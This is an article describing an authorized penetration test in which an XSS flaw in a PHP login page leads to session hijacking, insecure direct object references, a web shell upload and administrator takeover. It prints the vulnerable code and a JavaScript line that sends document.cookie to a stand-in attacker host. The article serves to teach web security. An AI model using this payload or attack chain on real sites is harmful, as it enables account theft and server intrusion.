Cross site scripting (XSS) errors are generally
considered nothing more than a nuisance — most people do not realize
the inherent danger these types of bugs create. In this article Seth
Fogie looks at a real life XSS attack and how it was used to.
XSS, Cookies, and Session ID Authentication – Three Ingredients for a Successful Hack
Cross site scripting (XSS) errors are
generally considered nothing more than a nuisance — most people do not
realize the inherent danger these types of bugs create. In this article
Seth Fogie looks at a real life XSS attack and how it was used to
bypass the authentication scheme of an online web application, leading
to "shell" access to the web server.
Cross site scripting (XSS) attacks are often seen as a powerless hack. While
this is true in some cases, for the most part the impact of an XSS vulnerability
is left up to the imagination and talent of the attacker. In this article I am
going to look at a real-life XSS attack and how it was used to bypass the
authentication scheme of an online web application I was asked to test. In this
case, the XSS resulted led to "shell" access to the web server —
anything but harmless.
The XSS Vulnerability
The target in question had a user/password entry screen, which is fairly
standard as far as web applications go. Figure 1 provides a screen shot of this
window. However, what you do not see is the code behind the login process. The
following provides the actual code used to verify the user account data:
1. if (isset($HTTP_POST_VARS[’email’])){
2. $email = $HTTP_POST_VARS[’email’];
3. $password = $HTTP_POST_VARS[’password’];
4. $go = true;
}
5. if ($go == true){
6. if ($error == false){
7. if (check_email_address($email)) {
8. $error = false;
9. }else {
10. $error = $email . ’ is not a valid email address.’;
11. }
12. }
As illustrated, the code put an unfiltered "$email" into an $error
message (line 10) after a check_email_address function rejects the input.
Unfortunately, the same $error message was then printed out onto the page, thus
allowing an attacker to inject pretty much anything they want right into the
content of the webpage — including JavaScript code.
echo ’<font color="red" size="3">’ . $error . ’</font>’;
Keeping this "feature" in mind, I next took a look at the program
and noticed that it was using the PHP Session ID value and storing it in a
cookie on the user’s PC. Knowing that this cookie information can be
called forth by a simple JavaScript command (i.e. document.cookie), I prepared a
small piece of code that would read the cookie and then forward that information
to a waiting server that would store the data for later retrieval. The actual
code is as follows:
var cookieData=document.cookie;
location.href="http://www.evilsite.com/cookie.php?cookie="+cookieData;
As if fate wanted to make it challenging, the maximum size of the HTML input
field for the email address was 25 characters, and it only accepted POST data,
which is somewhat limiting. As a result, I had to "outsource" my
cross-site scripting attack to a third server. The end result was that I had to
make a user click on a link that first took the victim to my server. From there,
the code on my server directed the victim to the web application with a POST
value that included the XSS code, which was then fed into the login script.
Finally, the above JavaScript was output into the login page. Once the
JavaScript executed, the cookie data was passed back to the third party server,
which captured that cookie value, stored it, and redirected the victim back to
the real server where they would again be presented with the real and unaltered
login page. Since all this happened in a matter of a second, only an educated
and knowledgeable user would notice anything out of the ordinary.
At this point in the attack, I now owned a valid PHP Session ID value that
was used in the next stage of the attack.
Using (and Abusing) Session IDs
Once my victim had fallen prey to the XSS attack, I had all the information I
needed to access the site. Now I just needed to put this information to good use
to see how far it would take me.
There are several tools available that make web application testing much
easier. One of these is called Burp, which is available from
http://portswigger.net.
This program is a Java-based proxy that you can use to control your web traffic.
It includes a scanner, repeater, proxy, and even a fuzzer that can quickly find
flaws and expose bugs in a program. I used it to intercept a web request and
overwrite the session ID value with the captured one, which allowed us access to
the site.
To do this, I viewed the captured value (i.e.
810fcb55ded4c14f75a8a1b8807266b3) and then loaded up Firefox and changed the
Connection Setting under Tools — Options — General tab. In this
screen, I added an HTTP Proxy value of 127.0.0.1 and port 8080, the default for
Burp. Next I executed Burp, waited for it to load, and directed the browser to
http://targetsite.com/index.php.
Figure 2 illustrates what happens in Burp and how easy it is to overwrite a
session ID value. Once the value was overwritten, I disabled the intercept
feature and hit the Forward button. At this point, I was given access to the
client portion of the application, as Figure 3 highlights.
Figure 3: Inside the
client application
Owning the Client Portion of the Application
I then poked around a bit and took mental notes of what the application did
and didn't do. I also kept the Burp proxy running to ensure I would have a
record of each form value passed behind the scenes.
Since the program is a website management application, I created a new
Website Update and quickly noticed that each and every form field was also
vulnerable to XSS attacks. This is important to note because there are three
levels of security in the program: admin, staff, and client. Knowing the dangers
of the session ID, it would be very easy to insert a malicious update that
contained the same cookie capturing code used to gain access to the application.
Then when an administrator viewed that update, I would be provided their session
ID value and granted administrator rights. However, there were other ways to
gain access to administrator rights — as I learned.
During the update, I noticed something that piqued my interest: in the
Pending Updates section of the application, there is a list of all the updates
that need to be completed. When an update is selected and loaded, the URL reads
something like this:
http://client.targetsite.com/view_detail.php?update=42
I took a chance and tried a different update number (i.e. update=36). Sure
enough, via a simple URL change I was able to see and update another
client's data. Given my previously illustrated XSS attacks, I now knew I
could insert an XSS attack and blame it on an innocent client, as well as attack
other clients via their own Pending Update list. Things were staring to get
interesting!
Owning the Site
During the review of the New Website Update feature, I also noticed a small
form box at the bottom of the page labeled "upload." I suspected that
this was to allow the client to upload an image or document to the server for
further review, but wondered if it would also accept other files, such as PHP
scripts and the like. To test this out, I created a test.php file with a basic
echo command and uploaded it to the server. Using the View Pending Updates
option, I took a look to see where this file was uploaded (as illustrated in
Figure 4) and clicked on the link. Sure enough, my PHP file executed.
At this point the options were endless. If I could upload a script, I could
own the server. However, I took the simple non-intrusive non-exploit road and
used a PHP script called PHP-Terminal, which is basically an emulator that gives
the user "shell" access via a web browser. The limitations were only
that the access is the same as the web application, thus I couldn’t add
users and the like. However, my target was the application — not the
server.
Once I uploaded this file (after making a few changes to the PHP code), I was
granted access to the server. I changed directory up a few levels, listed the
contents of the directory, and noticed that there were a lot more files than
just the ones I had used (see Figure 5). I tried to load a few of them in the
browser and received permission error messages on most, but then I hit paydirt
— create_admin.php. Figure 6 illustrates what I had found.
That's right. I had found a file that allowed me to create an
administrator, which I tested and was happy to learn that it worked. Using my
new credentials I logged in and found I had full control over the application.
Figure 7 shows the administrator screen.
|